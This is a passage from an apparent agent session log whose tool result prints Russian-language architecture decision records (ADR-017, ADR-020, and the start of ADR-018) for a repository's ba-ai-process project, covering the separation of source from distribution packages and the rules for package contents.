\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 rationale.\\n...\\n\",\n[2026-09-29T07:45:15.680Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:15.680Z] [INFO]       }\n[2026-09-29T07:45:15.680Z] [INFO]     ]\n[2026-09-29T07:45:15.680Z] [INFO]   },\n[2026-09-29T07:45:15.680Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:15.680Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"uuid\": \"8d047497-518e-4b25-b456-220f2179466a\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:15.670Z\",\n[2026-09-29T07:45:15.680Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:15.680Z] [INFO]     \"stdout\": \"=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n\\n# ADR-017: \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 ba-ai-process \u2014 Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-017 |\\n| Decision type | methodology |\\n| Decision status | accepted (human decision gate: [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)) |\\n| Decision date | 2026-09-22 |\\n| Owner | G-Ivan-A |\\n| Source | [issue #595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595); human approval and physical Source migration \u2014 [issue #599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599) and [PR #600](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/600) |\\n| Impacted artifacts | Source [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process), runtime [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli), \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f [`research/mango/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango) \u0438 [`research/ai-education/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ai-education), \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 backlog [`ops/backlog.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md) |\\n| Supersedes | none |\\n| Superseded by | none |\\n\\n## Context\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process)\\n\u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c\u0443\u044e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u0442\u0435\u0441\u0442\u044b\\n\u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u043f\u0430\u043a\u0435\u0442 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b. \u0418\u043c\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0449\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c, \u0445\u043e\u0442\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[`package-manifest.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml)\\n\u0443\u0436\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 rationale.\\n\u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 MVP \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n[`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli),\\n\u0433\u0434\u0435 \u0435\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043d\u0430\u0432\u044b\u043a\u0438, \u0448\u0430\u0431\u043b\u043e\u043d\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430 RRP.\\n\\n\u041d\u0443\u0436\u043d\u0430 \u044f\u0432\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u043b\u044f\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0440\u0435\u0434 \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c:\\n\\n- \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale \u0432 runtime-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c;\\n- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 runtime \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 Source;\\n- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n  \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438;\\n- \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c\u0438, \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439.\\n\\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0430\u044f\\n[`ba-meta-model`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n\u0438\u043c\u0435\u0435\u0442 `scope: mango-only`; \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ADR \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439\\n=== decisions/2026-09-adr-020-clean-distribution-package.md\\n\\n# ADR-020: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 Distribution\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-020 |\\n| Decision type | methodology |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-26 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) |\\n| Impacted artifacts | \u0412\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 `projects/ba-ai-process/dist/` \u0438 \u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 Distribution \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043e\u0442\u0434\u0435\u043b\u044f\u044f \u0435\u0433\u043e \u043e\u0442 Source \u0438 rationale. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435. [Issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432.\\n\\n## Decision\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `projects/ba-ai-process/dist/execution-package-/` \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c **\u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b**. \u0412 \u0435\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0434, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0435\u0451 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 **\u0432 \u044d\u0442\u043e\u0439 \u0441\u0440\u0435\u0434\u0435**. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430: \u0435\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0435\u0433\u043e, \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u043c\u0435\u043d\u0435\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0432 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435? \u0415\u0441\u043b\u0438 \u043d\u0435\u0442, \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430.\\n\\n\u0418\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f:\\n\\n- \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0438\u043d\u044b\u0445 \u0441\u0440\u0435\u0434 \u0438\u043b\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438;\\n- \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u043d\u0438\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0438 \u0432\u0438\u0434\u0430 \u00ab\u044d\u0442\u043e \u043d\u0435 \u0441\u0440\u0435\u0434\u0430 X\u00bb \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0447\u0435\u043c\u0443 \u0435\u0451 \u043d\u0435 \u0432\u044b\u0431\u0440\u0430\u043b\u0438;\\n- \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a, \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale, \u043f\u043b\u0430\u043d\u044b \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438 \u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435.\\n\\n\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c** \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438: \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u043c\u0435\u043d\u0435\u043c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430, \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438\u043b\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438, \u0431\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043f\u0430\u043a\u0435\u0442. \u0422\u0430\u043a\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f; \u0441\u0440\u0430\u0432\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u0438\u043c \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f. \u0418\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 API \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e: \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f, \u043f\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f.\\n\\n`package-manifest.yaml` \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e ADR-017 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b Source, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430, \u0432\u0435\u0440\u0441\u0438\u0438, \u0432\u0445\u043e\u0434\u043d\u043e\u0439 allowlist \u0438 \u0445\u0435\u0448\u0438 \u0432\u044b\u0445\u043e\u0434\u043e\u0432. \u042d\u0442\u0438 \u043f\u043e\u043b\u044f \u0441\u043b\u0443\u0436\u0430\u0442 provenance \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0441\u0431\u043e\u0440\u043a\u0438; \u043e\u043d\u0438 \u043d\u0435 \u0434\u0430\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043e\u0432 \u0438\u043b\u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b. \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\u043e **\u0432\u0441\u0435\u043c\u0443** \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c\u0443 \u0434\u0435\u0440\u0435\u0432\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f README, `AGENTS.md`, \u0442\u0435\u0441\u0442\u044b \u0438 manifest, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a \u043b\u044e\u0431\u043e\u043c\u0443 \u0431\u0443\u0434\u0443\u0449\u0435\u043c\u0443 \u043f\u0430\u043a\u0435\u0442\u0443 \u0432 `dist/`; \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u043f\u043e \u0441\u0440\u0435\u0434\u0435 \u0438\u043b\u0438 \u0442\u0438\u043f\u0443 \u0444\u0430\u0439\u043b\u0430 \u043d\u0435\u0442.\\n\\n## Decision Drivers\\n\\n- \u041e\u0434\u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0430\u0432\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0435\u0451 \u0441\u0440\u0435\u0434\u044b \u0438 \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u0437\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u043d\u0430 \u043b\u0438\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n- \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 provenance ADR-017 \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n## Alternatives Considered\\n\\n| Alternative | Decision |\\n| --- | --- |\\n=== docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n\\n# ADR-018: \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 GigaCode CLI\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-018 |\\n| Decision type | runtime |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 